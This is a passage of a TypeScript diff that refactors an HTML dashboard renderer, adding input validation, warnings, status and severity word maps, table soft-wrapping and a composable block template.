direction, sentiment)+ const accent =+ kpi.accent === undefined+ ? ''+ : ` data-accent="${oneOf(kpi.accent, ['success', 'warning', 'danger', 'neutral'] as const, 'neutral')}"`return `<div class="kpi-card"${accent}>- <p class="kpi-card__label">${escapeDashHtml(kpi.label)}</p>- <p class="kpi-card__value">${escapeDashHtml(kpi.value)}</p>+ <p class="kpi-card__label">${escapeHtml(dashText(kpi.label))}</p>+ <p class="kpi-card__value">${escapeHtml(value)}</p>${delta}- ${sparkline}+ ${renderSparkline(kpi.sparkline, `${at}.sparkline`, ctx)}</div>`.trim()- })- .join('\n')- return `<section class="kpi-grid">${cards}</section>`-}--function renderChartsGrid(charts: ChartSpec[], sectionTitle?: string, baseIdx = 0): string {- if (!charts || charts.length === 0) return ''- const cards = charts- .map(- (_, idx) => `-<div class="chart-card">- ${charts[idx].title ? `<h3 class="chart-card__title">${escapeDashHtml(charts[idx].title!)}</h3>` : ''}- <div class="chart-card__container">- <canvas id="chart-${baseIdx + idx}"></canvas>- </div>-</div>`- )- .join('\n')- const heading = sectionTitle- ? `<section class="section"><h2 class="section__title">${escapeDashHtml(sectionTitle)}</h2></section>`- : ''- return `${heading}<section class="chart-grid">${cards}</section>`-}--function renderChartsStacked(charts: ChartSpec[], sectionTitle?: string, baseIdx = 0): string {- if (!charts || charts.length === 0) return ''- const cards = charts- .map(- (_, idx) => `-<div class="chart-card chart-card--wide">- ${charts[idx].title ? `<h3 class="chart-card__title">${escapeDashHtml(charts[idx].title!)}</h3>` : ''}- <div class="chart-card__container chart-card__container--tall">- <canvas id="chart-${baseIdx + idx}"></canvas>- </div>-</div>`- )- .join('\n')- const heading = sectionTitle- ? `<section class="section"><h2 class="section__title">${escapeDashHtml(sectionTitle)}</h2></section>`- : ''- return `${heading}<section class="chart-stack">${cards}</section>`+ },+ cardNotice+ )+ return titledSection(title, `<section class="kpi-grid">${cards}</section>`)+}++function renderChartCards(charts: unknown, where: string, ctx: DashRender, title?: string): string {+ const list = dashList(charts, where, 'chart objects {type, labels, datasets}')+ if (list.length === 0) return ''+ const cards = list.map((chart, i) => ctx.charts.card(chart, `${where}[${i}]`)).join('\n')+ return titledSection(title, `<section class="chart-grid">${cards}</section>`)}+const BADGE_COLUMN_TYPES = new Set(['severity', 'priority', 'status'])+function dashSeverityClass(value: unknown): string {const v = String(value ?? '').trim()@@ -3759,6 +4277,7 @@ function dashSeverityClass(value: unknown): string {med: 'severity-med',medium: 'severity-med',low: 'severity-low',+ info: 'severity-info',p0: 'severity-p0',p1: 'severity-p1',p2: 'severity-p2',@@ -3771,250 +4290,327 @@ function dashSeverityClass(value: unknown): string {return map[v] ?? ''}-function renderTableHtml(t: TableSpec): string {- const colTypes = t.columnTypes ?? {}- const headerHtml = t.headers.map(h => `<th>${escapeDashHtml(h)}</th>`).join('')- const bodyHtml = (t.rows ?? [])+function renderTableHtml(t: unknown, where: string, ctx: DashRender, title?: string): string {+ const table = dashRecord(t, where, 'a table object {headers, rows}')+ const headers = table.headers+ if (!Array.isArray(headers) || headers.length === 0) {+ throw new Error(`${where}.headers must be a non-empty array of column names.`)+ }+ const colTypes = isDashRecord(table.columnTypes) ? table.columnTypes : {}+ const headerNames = headers.map(headerText)+ const headerHtml = headerNames.map(h => `<th>${softBreaks(escapeHtml(h))}</th>`).join('')+ const rows = fitRowsToHeaders(+ normalizeTableRows(table.rows, headers, where, ctx.warnings),+ headers.length,+ where,+ ctx+ )+ let structured = 0+ const bodyHtml = rows.map(row => {- const cells = (row ?? [])+ const cells = row.map((cell, c) => {- const colType = colTypes[c] ?? colTypes[t.headers[c]] ?? 'plain'- if (colType === 'severity' || colType === 'priority' || colType === 'status') {- const cls = dashSeverityClass(cell)- const label = escapeDashHtml(cell ?? '')- return cls- ? `<td><span class="severity-badge ${cls}">${label}</span></td>`- : `<td>${label}</td>`- }- return `<td>${renderInlineMd(String(cell ?? ''))}</td>`+ const colType = colTypes[c] ?? colTypes[headerNames[c]]+ if (cell !== null && typeof cell === 'object') structured+++ const text = tableCellText(cell)+ const cls = BADGE_COLUMN_TYPES.has(String(colType)) ? dashSeverityClass(text) : ''+ return cls+ ? `<td><span class="severity-badge ${cls}">${escapeHtml(text)}</span></td>`+ : `<td>${softBreaks(renderInlineMd(text))}</td>`}).join('')return `<tr>${cells}</tr>`}).join('\n')- const title = t.title- ? `<section class="section"><h2 class="section__title">${escapeDashHtml(t.title)}</h2></section>`- : ''-- return `${title}+ if (structured > 0) {+ ctx.warnings.push(+ `${where}: ${structured} cell(s) held an object or a list and are shown as text; ` ++ 'send one value per cell.'+ )+ }+ return titledSection(+ title ?? (dashText(table.title) || undefined),+ `<div class="data-table-wrap">- <table class="data-table">+ <table class="data-table${headers.length > WIDE_TABLE_COLUMNS ? ' data-table--wide' : ''}"><thead><tr>${headerHtml}</tr></thead><tbody>${bodyHtml}</tbody></table>-</div>`.trim()+</div>`.trimEnd()+ )}-function renderSectionHtml(s: SectionSpec): string {- const title = s.title ? `<h2 class="section__title">${escapeDashHtml(s.title)}</h2>` : ''- let body = ''- if (s.type === 'narrative') {- const paras = (Array.isArray(s.content) ? s.content : [s.content])- .map(p => `<p>${renderInlineMd(p)}</p>`)- .join('\n')- body = `<div class="narrative">${paras}</div>`- } else if (s.type === 'bullets') {- const items = (Array.isArray(s.content) ? s.content : [s.content])- .map(b => `<li>${renderInlineMd(b)}</li>`)- .join('')- body = `<ul class="bullets">${items}</ul>`- } else if (s.type === 'callout') {- const tone = s.tone ?? 'info'- const text = Array.isArray(s.content) ? s.content.join('\n') : s.content- body = `<div class="callout" data-tone="${escapeDashHtml(tone)}">${renderInlineMd(text)}</div>`- } else if (s.type === 'code') {- const lang = s.language- ? `<div class="code-block__lang">${escapeDashHtml(s.language)}</div>`- : ''- const text = Array.isArray(s.content) ? s.content.join('\n') : s.content- body = `<div class="code-block">${lang}<pre><code>${escapeDashHtml(text)}</code></pre></div>`+/**+ * A table cell as text. Numbers print as written, without the float noise of+ * 0.1 + 0.2 and without grouping, since a table column may hold years or IDs.+ */+function tableCellText(cell: unknown): string {+ if (typeof cell === 'number') {+ return Number.isInteger(cell) ? String(cell) : String(Number(cell.toPrecision(12)))+ }+ if (Array.isArray(cell)) return cell.map(tableCellText).join(', ')+ if (cell !== null && typeof cell === 'object') return JSON.stringify(cell)+ return dashText(cell)+}++/** Above this many columns a printed table breaks words anywhere so every column fits the page. */+const WIDE_TABLE_COLUMNS = 8++const SOFT_BREAK_AFTER = new Set(['/', '.', '-', '_', '?', '&', '=', ',', ':'])++/**+ * `html` with a line-break opportunity inside each long unbroken run of text,+ * after punctuation or every 10 characters, so a URL or an ID wraps instead of+ * widening its column. Words of ordinary length keep their width.+ */+function softBreaks(html: string): string {+ return html.replace(/(<[^>]*>)|((?:&[#\w]+;|[^\s<&])+)/gu, (match, tag: string | undefined) => {+ if (tag) return match+ const units = match.match(/&[#\w]+;|[^]/gu) ?? []+ if (units.length < 16) return match+ let out = ''+ let run = 0+ units.forEach((unit, i) => {+ out += unit+ run+++ if (i < units.length - 1 && (SOFT_BREAK_AFTER.has(unit) || run >= 10)) {+ out += '<wbr>'+ run = 0+ }+ })+ return out+ })+}++/** Each row cut or padded to one cell per header, reporting cells that held a value and were cut. */+function fitRowsToHeaders(+ rows: unknown[][],+ width: number,+ where: string,+ ctx: DashRender+): unknown[][] {+ let padded = 0+ const cut: string[] = []+ const fitted = rows.map((row, r) => {+ if (row.length < width) {+ padded+++ return [...row, ...Array<string>(width - row.length).fill('')]+ }+ if (row.slice(width).some(cell => dashText(cell).trim() !== '')) {+ cut.push(+ `${where}.rows[${r}] has ${row.length} cells for ${width} headers; the extra ` ++ `${row.length - width} ${row.length - width === 1 ? 'was' : 'were'} left out.`+ )+ }+ return row.slice(0, width)+ })+ if (cut.length > 0) {+ const more = cut.length > 1 ? ` ${cut.length - 1} more row(s) had extra cells too.` : ''+ ctx.warnings.push(`${cut[0]}${more} Add headers for them or drop them.`)+ }+ if (padded > 0) {+ ctx.warnings.push(+ `${where}: ${padded} row(s) have fewer cells than the ${width} headers and end in empty cells.`+ )+ }+ return fitted+}++const SECTION_TYPES = ['narrative', 'bullets', 'callout', 'code'] as const+const CALLOUT_TONES = ['info', 'success', 'warning', 'danger'] as const++function renderSectionHtml(s: unknown, where: string): string {+ const section = dashRecord(s, where, 'a section object {type, content}')+ if (section.type !== undefined && !SECTION_TYPES.includes(section.type as never)) {+ throw new Error(`${where}.type must be one of: ${SECTION_TYPES.join(', ')}.`)+ }+ const type = oneOf(section.type, SECTION_TYPES, 'narrative')+ const content = dashTextList(section.content, `${where}.content`)+ const titleText = dashText(section.title)+ const title = titleText ? `<h2 class="section__title">${escapeHtml(titleText)}</h2>` : ''+ let body: string+ if (type === 'narrative') {+ body = `<div class="narrative">${content.map(p => `<p>${renderInlineMd(p)}</p>`).join('\n')}</div>`+ } else if (type === 'bullets') {+ body = `<ul class="bullets">${content.map(b => `<li>${renderInlineMd(b)}</li>`).join('')}</ul>`+ } else if (type === 'callout') {+ const tone = oneOf(section.tone, CALLOUT_TONES, 'info')+ body = `<div class="callout" data-tone="${tone}">${renderInlineMd(content.join('\n'))}</div>`+ } else {+ const language = dashText(section.language)+ const lang = language ? `<div class="code-block__lang">${escapeHtml(language)}</div>` : ''+ body = `<div class="code-block">${lang}<pre><code>${escapeHtml(content.join('\n'))}</code></pre></div>`}return `<section class="section">${title}${body}</section>`}-function renderServiceHealthGrid(services: ServiceHealth[], title?: string): string {- if (!services || services.length === 0) return ''- const cards = services- .map(s => {- const delta = s.delta- ? `<p class="kpi-card__delta" data-direction="${escapeDashHtml(- s.deltaDirection ?? 'neutral'- )}">${escapeDashHtml(s.delta)}</p>`- : ''+const SERVICE_STATUSES = ['healthy', 'degraded', 'down', 'maintenance'] as const++/** Status words models use, by the card color they mean. */+const SERVICE_STATUS_WORDS: Partial<Record<string, (typeof SERVICE_STATUSES)[number]>> = {+ healthy: 'healthy',+ ok: 'healthy',+ up: 'healthy',+ operational: 'healthy',+ online: 'healthy',+ green: 'healthy',+ degraded: 'degraded',+ warning: 'degraded',+ partial: 'degraded',+ yellow: 'degraded',+ down: 'down',+ outage: 'down',+ offline: 'down',+ failed: 'down',+ red: 'down',+ maintenance: 'maintenance',+}++function renderServiceHealthGrid(+ services: unknown,+ where: string,+ ctx: DashRender,+ title?: string+): string {+ const list = dashList(services, where, 'service objects {name, status}')+ if (list.length === 0) return ''+ const cards = dashItems(+ ctx,+ list,+ where,+ (item, at) => {+ const s = dashRecord(item, at, 'a service object {name, status}')+ const name = dashText(s.name)+ if (!name) throw new Error(`${at}.name is missing; pass the service name.`)+ const statusText = dashText(s.status).trim() || 'unknown'+ const status = SERVICE_STATUS_WORDS[statusText.toLowerCase()] ?? 'unknown'+ if (status === 'unknown' && statusText.toLowerCase() !== 'unknown') {+ ctx.warnings.push(+ `${at}.status ${JSON.stringify(statusText)} is not healthy, degraded, down or ` ++ 'maintenance, so the card is grey.'+ )+ }+ const { text, direction } = dashDelta(s.delta, s.deltaDirection)+ const sentiment = direction === 'up' ? 'good' : direction === 'down' ? 'bad' : 'neutral'+ const delta = deltaHtml(text, direction, sentiment)+ const metric = dashFigure(s.metric)return `-<div class="health-card" data-status="${escapeDashHtml(s.status)}">+<div class="health-card" data-status="${status}"><div class="health-card__head"><span class="health-card__dot"></span>- <h3 class="health-card__name">${escapeDashHtml(s.name)}</h3>+ <h3 class="health-card__name">${escapeHtml(name)}</h3></div>- <p class="health-card__status">${escapeDashHtml(s.status.toUpperCase())}</p>- ${s.metric ? `<p class="health-card__metric">${escapeDashHtml(s.metric)}</p>` : ''}+ <p class="health-card__status">${escapeHtml(statusText.toUpperCase())}</p>+ ${metric ? `<p class="health-card__metric">${escapeHtml(metric)}</p>` : ''}${delta}</div>`.trim()- })- .join('\n')- const heading = title- ? `<section class="section"><h2 class="section__title">${escapeDashHtml(title)}</h2></section>`- : ''- return `${heading}<section class="health-grid">${cards}</section>`-}--function renderIncidentsTimeline(items: IncidentItem[], title?: string): string {- if (!items || items.length === 0) return ''- const list = items- .map(it => {- const sev = it.severity ?? 'info'- const resolved = it.resolvedAt- ? `<span class="timeline-item__resolved">resolved ${escapeDashHtml(it.resolvedAt)}</span>`+ },+ cardNotice+ )+ return titledSection(title, `<section class="health-grid">${cards}</section>`)+}++const INCIDENT_SEVERITIES = ['critical', 'high', 'med', 'low', 'info'] as const++/** Severity words models use, by the color they take; p0-p2 match the table badges. */+const SEVERITY_WORDS: Partial<Record<string, (typeof INCIDENT_SEVERITIES)[number]>> = {+ critical: 'critical',+ p0: 'critical',+ high: 'high',+ major: 'high',+ p1: 'high',+ med: 'med',+ medium: 'med',+ moderate: 'med',+ low: 'low',+ minor: 'low',+ p2: 'low',+ info: 'info',+}++function renderIncidentsTimeline(+ items: unknown,+ where: string,+ ctx: DashRender,+ title?: string+): string {+ const list = dashList(items, where, 'incident objects {time, title}')+ if (list.length === 0) return ''+ const html = dashItems(+ ctx,+ list,+ where,+ (item, at) => {+ const it = dashRecord(item, at, 'an incident object {time, title}')+ const time = dashText(it.time)+ const heading = dashText(it.title)+ if (!time && !heading) {+ throw new Error(+ `${at} needs a time and a title, e.g. {"time": "10:42", "title": "API errors"}.`+ )+ }+ const given = dashText(it.severity).trim()+ const sev = SEVERITY_WORDS[given.toLowerCase()] ?? 'info'+ if (given && !SEVERITY_WORDS[given.toLowerCase()]) {+ ctx.warnings.push(+ `${at}.severity ${JSON.stringify(given)} is not critical, high, medium, low or info, ` ++ 'so it is shown in the info color.'+ )+ }+ const resolvedAt = dashText(it.resolvedAt)+ const resolved = resolvedAt+ ? `<span class="timeline-item__resolved">resolved ${escapeHtml(resolvedAt)}</span>`: `<span class="timeline-item__open">open</span>`- const desc = it.description- ? `<p class="timeline-item__desc">${renderInlineMd(it.description)}</p>`+ const description = dashText(it.description)+ const desc = description+ ? `<p class="timeline-item__desc">${renderInlineMd(description)}</p>`: ''return `-<li class="timeline-item" data-severity="${escapeDashHtml(sev)}">- <div class="timeline-item__time">${escapeDashHtml(it.time)}</div>+<li class="timeline-item" data-severity="${sev}">+ <div class="timeline-item__time">${escapeHtml(time)}</div><div class="timeline-item__body"><div class="timeline-item__head">- <span class="severity-badge severity-${escapeDashHtml(sev)}">${escapeDashHtml(sev.toUpperCase())}</span>- <h4 class="timeline-item__title">${escapeDashHtml(it.title)}</h4>+ <span class="severity-badge severity-${sev}">${escapeHtml((given || sev).toUpperCase())}</span>+ <h4 class="timeline-item__title">${escapeHtml(heading)}</h4>${resolved}</div>${desc}</div></li>`.trim()- })- .join('\n')- const heading = title- ? `<section class="section"><h2 class="section__title">${escapeDashHtml(title)}</h2></section>`- : ''- return `${heading}<ol class="timeline">${list}</ol>`-}--function renderDashboardFooter(meta: FooterMeta | undefined, branding: DashboardBranding): string {- const date =- meta?.date ??- new Date().toLocaleDateString('en-US', {- year: 'numeric',- month: 'long',- day: 'numeric',- })- const left = branding.companyName- ? `<span class="dash-footer__brand">${escapeDashHtml(branding.companyName)}</span>`- : ''- const right = branding.footerText- ? `<span>${escapeDashHtml(branding.footerText)} · ${escapeDashHtml(date)}</span>`- : `<span>${escapeDashHtml(date)}</span>`- return `<footer class="dash-footer">${left}${right}</footer>`-}--function buildChartScript(charts: ChartSpec[], theme: DashboardTheme): string {- const normalized = charts.map(c => {- const isHorizontalBar = c.type === 'horizontalBar'- const isArea = c.type === 'area'- const chartType = isHorizontalBar || c.type === 'bar' ? 'bar' : isArea ? 'line' : c.type- const datasets = c.datasets.map((ds, i) => {- const color = theme.chartPalette[i % theme.chartPalette.length]- const isSlice = c.type === 'pie' || c.type === 'doughnut' || c.type === 'polarArea'- const out: Record<string, unknown> = {- label: ds.label ?? '',- data: ds.data,- }- if (isSlice) {- out.backgroundColor =- ds.backgroundColor ??- ds.data.map((_, j) => theme.chartPalette[j % theme.chartPalette.length])- } else {- out.borderColor = ds.borderColor ?? color- out.backgroundColor =- ds.backgroundColor ?? (chartType === 'line' || isArea ? `${color}33` : color)- if (isArea && ds.fill === undefined) out.fill = true- }- return out- })- return {- type: chartType,- indexAxis: isHorizontalBar ? 'y' : 'x',- data: { labels: c.labels ?? [], datasets },- title: c.title,- yAxisLabel: c.yAxisLabel,- xAxisLabel: c.xAxisLabel,- }- })-- return `-const __charts = ${safeJsonForScript(normalized)};-const __cssVar = (name) =>- getComputedStyle(document.documentElement).getPropertyValue(name).trim();-const textColor = () => __cssVar('--text-muted') || '#475569';-const gridColor = () => __cssVar('--border') || '#e2e8f0';--function makeChart(idx, spec) {- const ctx = document.getElementById('chart-' + idx);- if (!ctx) return;- const showAxes = spec.type === 'bar' || spec.type === 'line' || spec.type === 'scatter';- new Chart(ctx, {- type: spec.type,- data: spec.data,- options: {- responsive: true,- maintainAspectRatio: false,- resizeDelay: 200,- indexAxis: spec.indexAxis,- plugins: {- legend: { labels: { color: textColor() } },- },- scales: showAxes- ? {- x: {- ticks: { color: textColor() },- grid: { color: gridColor() },- title: spec.xAxisLabel- ? { display: true, text: spec.xAxisLabel, color: textColor() }- : { display: false },- },- y: {- ticks: { color: textColor() },- grid: { color: gridColor() },- title: spec.yAxisLabel- ? { display: true, text: spec.yAxisLabel, color: textColor() }- : { display: false },- },- }- : undefined,},- });+ message =>+ `<li class="timeline-item"><div class="timeline-item__time"></div>${cardNotice(message)}</li>`+ )+ return titledSection(title, `<ol class="timeline">${html}</ol>`)}-__charts.forEach((s, i) => makeChart(i, s));+/** meta.date as shown; a number of 10+ digits is a Unix timestamp (seconds or ms), a shorter one a year. */+function footerDate(value: unknown): string {+ const long = { year: 'numeric', month: 'long', day: 'numeric' } as const+ if (typeof value === 'number' && Number.isInteger(value) && Math.abs(value) >= 1e9) {+ const ms = Math.abs(value) < 1e11 ? value * 1000 : value+ return new Date(ms).toLocaleDateString('en-US', { ...long, timeZone: 'UTC' })+ }+ return dashText(value) || new Date().toLocaleDateString('en-US', long)+}-document.querySelectorAll('canvas.kpi-card__sparkline[data-spark]').forEach(el => {- const data = JSON.parse(el.getAttribute('data-spark') || '[]');- if (!Array.isArray(data) || data.length < 2) return;- new Chart(el, {- type: 'line',- data: {- labels: data.map((_, i) => i),- datasets: [{- data,- borderColor: __cssVar('--accent') || '#3b82f6',- backgroundColor: 'transparent',- borderWidth: 2,- tension: 0.3,- pointRadius: 0,- }],- },- options: {- responsive: true,- maintainAspectRatio: false,- resizeDelay: 200,- plugins: { legend: { display: false }, tooltip: { enabled: false } },- scales: { x: { display: false }, y: { display: false } },- animation: false,- },- });-});-`.trim()+function renderDashboardFooter(meta: unknown, branding: DashboardBranding): string {+ const m: Record<string, unknown> = isDashRecord(meta) ? meta : {}+ const companyName = dashText(branding.companyName)+ const left = companyName+ ? `<span class="dash-footer__brand">${escapeHtml(companyName)}</span>`+ : ''+ const right = [+ dashText(branding.footerText),+ dashText(m.author),+ dashText(m.runId),+ footerDate(m.date),+ ]+ .filter(part => part.trim() !== '')+ .map(escapeHtml)+ .join(' · ')+ return `<footer class="dash-footer">${left}<span>${right}</span></footer>`}interface DashWrapperOptions {@@ -4027,22 +4623,22 @@ interface DashWrapperOptions {function htmlWrapper(o: DashWrapperOptions): string {const styleBlock = o.cssSource ? `<style>${o.cssSource}</style>` : ''- const chartLib = o.chartJsSource ? `<script>${o.chartJsSource}</script>` : ''- const chartInit = o.chartInit ? `<script>${o.chartInit}</script>` : ''+ const scripts = o.chartInit+ ? `<script>${o.chartJsSource ?? ''}</script>\n<script>${o.chartInit}</script>`+ : ''return `<!doctype html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1">-<title>${escapeDashHtml(o.title)}</title>+<title>${escapeHtml(o.title)}</title>${styleBlock}</head><body><main class="dashboard">${o.body}</main>-${chartLib}-${chartInit}+${scripts}</body></html>`}@@ -4050,693 +4646,721 @@ ${chartInit}// ─── Chart.js bundle loader (cached) ────────────────────────────────let cachedChartJsBundle: string | undefined-function loadChartJsBundle(): string {++/**+ * The Chart.js UMD bundle. chart.js exports only ".", "./auto" and+ * "./helpers", so resolving "chart.js/dist/chart.umd.js" throws+ * ERR_PACKAGE_PATH_NOT_EXPORTED; the entry point resolves, and the bundle sits+ * beside it in dist/.+ */+export function loadChartJsBundle(): string {if (cachedChartJsBundle) return cachedChartJsBundle- try {- // eslint-disable-next-line @typescript-eslint/no-require-imports- const resolved = require.resolve('chart.js/dist/chart.umd.js')- cachedChartJsBundle = fs.readFileSync(resolved, 'utf-8')- return cachedChartJsBundle- } catch {- const candidates = [- path.resolve(__dirname, '../../node_modules/chart.js/dist/chart.umd.js'),- path.resolve(__dirname, '../../../node_modules/chart.js/dist/chart.umd.js'),- path.resolve(process.cwd(), 'node_modules/chart.js/dist/chart.umd.js'),+ const bundle = path.join(path.dirname(require.resolve('chart.js')), 'chart.umd.js')+ cachedChartJsBundle = fs.readFileSync(bundle, 'utf-8')+ return cachedChartJsBundle+}++// ─── Templates ──────────────────────────────────────────────────────++type DashboardTemplateName =+ | 'executive-brief'+ | 'operations-pulse'+ | 'financial-review'+ | 'technical-report'+ | 'custom'++type DashData = Record<string, unknown>++function heroOf(data: DashData, eyebrowFallback?: unknown): string {+ return renderHero({ ...data, eyebrow: data.eyebrow ?? eyebrowFallback })+}++function tablesOf(data: DashData, ctx: DashRender): string {+ return dashPart(ctx, 'data.tables', false, () =>+ dashList(data.tables, 'data.tables', 'table objects {headers, rows}')+ .map((t, i) => {+ const where = `data.tables[${i}]`+ return dashPart(ctx, where, true, () => renderTableHtml(t, where, ctx))+ })+ .join('\n')+ )+}++function sectionsOf(data: DashData, ctx: DashRender): string {+ return dashPart(ctx, 'data.sections', false, () =>+ dashList(data.sections, 'data.sections', 'section objects {type, content}')+ .map((s, i) => {+ const where = `data.sections[${i}]`+ return dashPart(ctx, where, true, () => renderSectionHtml(s, where))+ })+ .join('\n')+ )+}++function kpisOf(data: DashData, ctx: DashRender): string {+ return dashPart(ctx, 'data.kpis', false, () => renderKpis(data.kpis, 'data.kpis', ctx))+}++function chartsOf(data: DashData, ctx: DashRender, title: string | undefined): string {+ return dashPart(ctx, 'data.charts', false, () =>+ renderChartCards(data.charts, 'data.charts', ctx, title)+ )+}++const DASHBOARD_TEMPLATES: Record<+ DashboardTemplateName,+ (data: DashData, ctx: DashRender) => string[]+> = {+ 'executive-brief': (data, ctx) => [+ heroOf(data),+ kpisOf(data, ctx),+ chartsOf(data, ctx, 'Visual Trends'),+ tablesOf(data, ctx),+ sectionsOf(data, ctx),+ ],+ 'operations-pulse': (data, ctx) => [+ heroOf(data),+ dashPart(ctx, 'data.services', false, () =>+ renderServiceHealthGrid(data.services, 'data.services', ctx, 'Service Health')+ ),+ kpisOf(data, ctx),+ dashPart(ctx, 'data.incidents', false, () =>+ renderIncidentsTimeline(data.incidents, 'data.incidents', ctx, 'Incident Timeline')+ ),+ chartsOf(data, ctx, 'Performance Trends'),+ tablesOf(data, ctx),+ sectionsOf(data, ctx),+ ],+ 'financial-review': (data, ctx) => {+ const hasHero = data.heroChart !== undefined && data.heroChart !== null+ return [+ heroOf(data, data.period),+ kpisOf(data, ctx),+ hasHero+ ? dashPart(+ ctx,+ 'data.heroChart',+ false,+ () =>+ `<section class="chart-stack">${ctx.charts.card(data.heroChart, 'data.heroChart', { tall: true })}</section>`+ )+ : '',+ chartsOf(data, ctx, hasHero ? 'Breakdowns' : 'Visual Trends'),+ tablesOf(data, ctx),+ sectionsOf(data, ctx),]- for (const p of candidates) {- if (fs.existsSync(p)) {- cachedChartJsBundle = fs.readFileSync(p, 'utf-8')- return cachedChartJsBundle- }+ },+ 'technical-report': (data, ctx) => [+ heroOf(data),+ kpisOf(data, ctx),+ sectionsOf(data, ctx),+ tablesOf(data, ctx),+ chartsOf(data, ctx, 'Charts'),+ ],+ custom: (data, ctx) => {+ const blocks = dashList(data.blocks, 'data.blocks', 'block objects')+ if (blocks.length === 0) {+ throw new Error(+ "template 'custom' needs data.blocks: a non-empty array of blocks such as " ++ '{"type": "kpis", "items": [{"label": "Revenue", "value": "$1.2M"}]}.'+ )}- throw new Error(- 'Could not locate chart.js UMD bundle. Pass inlineChartJs:false if charts are not needed.'- )- }+ return blocks.map((b, idx) => renderBlock(b, `data.blocks[${idx}]`, ctx))+ },}-// ─── Template orchestrators ─────────────────────────────────────────+// ─── Custom template (composable blocks) ────────────────────────────-interface ExecutiveBriefData {- eyebrow?: string- title: string- headline?: string- status?: 'green' | 'yellow' | 'red' | 'neutral'- statusLabel?: string- kpis?: KpiCard[]- charts?: ChartSpec[]- tables?: TableSpec[]- sections?: SectionSpec[]- meta?: FooterMeta-}--function renderExecutiveBrief(opts: {- data: ExecutiveBriefData- branding?: DashboardBranding- theme: DashboardTheme- chartJsSource?: string- cssSource?: string-}): string {- const { data, theme, chartJsSource, cssSource } = opts- const branding = opts.branding ?? {}-- const body = [- renderHero({- title: data.title,- eyebrow: data.eyebrow,- headline: data.headline,- status: data.status,- statusLabel: data.statusLabel,- }),- renderKpis(data.kpis ?? []),- renderChartsGrid(data.charts ?? [], 'Visual Trends'),- (data.tables ?? []).map(renderTableHtml).join('\n'),- (data.sections ?? []).map(renderSectionHtml).join('\n'),- renderDashboardFooter(data.meta, branding),- ].join('\n')-- const chartInit =- chartJsSource && (data.charts?.length || data.kpis?.some(k => k.sparkline))- ? buildChartScript(data.charts ?? [], theme)- : undefined-- return htmlWrapper({- title: data.title,- cssSource,- chartJsSource,- chartInit,- body,- })+const BLOCK_TYPES = [+ 'hero',+ 'kpis',+ 'chart',+ 'charts-grid',+ 'table',+ 'narrative',+ 'bullets',+ 'code',+ 'callout',+ 'incidents',+ 'service-health',+ 'divider',+ 'spacer',+] as const++/** Blocks that are content of their own; charts and card groups count their entries. */+const COUNTED_BLOCKS = new Set(['table', 'narrative', 'bullets', 'code', 'callout'])++function isEmptyList(value: unknown): boolean {+ return value === undefined || value === null || (Array.isArray(value) && value.length === 0)}-interface OperationsPulseData {- eyebrow?: string- title: string- headline?: string- status?: 'green' | 'yellow' | 'red' | 'neutral'- statusLabel?: string- services?: ServiceHealth[]- kpis?: KpiCard[]- incidents?: IncidentItem[]- charts?: ChartSpec[]- tables?: TableSpec[]- sections?: SectionSpec[]- meta?: FooterMeta-}--function renderOperationsPulse(opts: {- data: OperationsPulseData- branding?: DashboardBranding- theme: DashboardTheme- chartJsSource?: string- cssSource?: string-}): string {- const { data, theme, chartJsSource, cssSource } = opts- const branding = opts.branding ?? {}-- const body = [- renderHero({- title: data.title,- eyebrow: data.eyebrow,- headline: data.headline,- status: data.status,- statusLabel: data.statusLabel,- }),- renderServiceHealthGrid(data.services ?? [], 'Service Health'),- renderKpis(data.kpis ?? []),- renderIncidentsTimeline(data.incidents ?? [], 'Incident Timeline'),- renderChartsGrid(data.charts ?? [], 'Performance Trends'),- (data.tables ?? []).map(renderTableHtml).join('\n'),- (data.sections ?? []).map(renderSectionHtml).join('\n'),- renderDashboardFooter(data.meta, branding),- ].join('\n')-- const chartInit =- chartJsSource && (data.charts?.length || data.kpis?.some(k => k.sparkline))- ? buildChartScript(data.charts ?? [], theme)- : undefined-- return htmlWrapper({- title: data.title,- cssSource,- chartJsSource,- chartInit,- body,- })+/** The list field of each list block, and the other name models give it. */+const BLOCK_LISTS: Record<string, { field: 'items' | 'services'; alias: string; noun: string }> = {+ kpis: { field: 'items', alias: 'kpis', noun: 'cards' },+ 'charts-grid': { field: 'items', alias: 'charts', noun: 'charts' },+ incidents: { field: 'items', alias: 'incidents', noun: 'incidents' },+ 'service-health': { field: 'services', alias: 'items', noun: 'services' },}-interface FinancialReviewData {- eyebrow?: string- title: string- headline?: string- period?: string- status?: 'green' | 'yellow' | 'red' | 'neutral'- statusLabel?: string- kpis?: KpiCard[]- heroChart?: ChartSpec- charts?: ChartSpec[]- tables?: TableSpec[]- sections?: SectionSpec[]- meta?: FooterMeta-}--function renderFinancialReview(opts: {- data: FinancialReviewData- branding?: DashboardBranding- theme: DashboardTheme- chartJsSource?: string- cssSource?: string-}): string {- const { data, theme, chartJsSource, cssSource } = opts- const branding = opts.branding ?? {}-- const allCharts: ChartSpec[] = []- if (data.heroChart) allCharts.push(data.heroChart)- if (data.charts) allCharts.push(...data.charts)-- const heroChartHtml = data.heroChart ? renderChartsStacked([data.heroChart], undefined, 0) : ''- const supportingChartsHtml =- data.charts && data.charts.length > 0- ? renderChartsGrid(- data.charts,- data.heroChart ? 'Breakdowns' : 'Visual Trends',- data.heroChart ? 1 : 0- )- : ''+/** Whether `block` gives its list under the other name only. */+function listUnderAlias(block: Record<string, unknown>): boolean {+ const list = BLOCK_LISTS[String(block.type)]+ return !!list && isEmptyList(block[list.field]) && !isEmptyList(block[list.alias])+}- const body = [- renderHero({- title: data.title,- eyebrow: data.eyebrow ?? data.period,- headline: data.headline,- status: data.status,- statusLabel: data.statusLabel,- }),- renderKpis(data.kpis ?? []),- heroChartHtml,- supportingChartsHtml,- (data.tables ?? []).map(renderTableHtml).join('\n'),- (data.sections ?? []).map(renderSectionHtml).join('\n'),- renderDashboardFooter(data.meta, branding),- ].join('\n')-- const chartInit =- chartJsSource && (allCharts.length || data.kpis?.some(k => k.sparkline))- ? buildChartScript(allCharts, theme)- : undefined-- return htmlWrapper({- title: data.title,- cssSource,- chartJsSource,- chartInit,- body,+/**+ * The entries of a list block, from its field or from the other name models+ * give it. A block with no entries throws, so it is reported rather than left+ * off the page.+ */+function blockList(+ block: Record<string, unknown>,+ where: string,+ ctx: DashRender+): { value: unknown; at: string } {+ const { field, alias, noun } = BLOCK_LISTS[String(block.type)]+ if (listUnderAlias(block)) {+ ctx.warnings.push(`${where}: the list was read from ${alias}; name it ${field}.`)+ return { value: 